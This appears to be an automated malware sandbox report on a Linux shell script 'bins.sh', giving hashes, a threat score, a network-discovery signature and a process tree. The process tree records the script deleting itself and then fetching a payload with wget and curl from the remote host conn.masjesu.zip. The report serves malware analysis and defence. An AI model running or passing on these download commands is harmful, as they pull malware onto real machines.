Analysis
- max time kernel
148s - max time network
128s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20240611-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
09/11/2024, 08:47
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
3 signatures
150 seconds
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
10 signatures
150 seconds
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240418-en
10 signatures
150 seconds
General
- Target bins.sh
- Size 10KB
- Sample241109-kpvvmstrbm
- SHA256 33d1edad18461bc7548b110297a3b2ad8a826ed004d026c71f7d0a23576b30a7
- MD5 c8f9e1152e00863bacf256ed5f4c77e9
- SHA1 e6e60f4df4205b91ab720b3f39512fb33d7f440e
- SHA512 1d57dcde0165fc18345ef0106bfe8871e1f1beec69fca83e9dcb034c142e0dc10fbbc6fb3b41b0b6b077c4f727ee9d6909cf29c4767a5bb29d641ca32df36bad
- SSDEEP 192:WWzeHHKB1Dqvs//MBj8N5VorTKO//MB15VorT+G+HHKB1Jvy:xzeHHKB1Da8N5VorTKh5VorTf+HHKB1w
- MD5 SHA1 SHA512 SSDEEP
Score
3/10
Malware Config
Signatures
- System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1501 wget 1502 curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1499
-
/bin/rm/bin/rm bins.sh2⤵PID:1500
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- System Network Configuration Discovery
PID:1501
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- System Network Configuration Discovery
PID:1502
-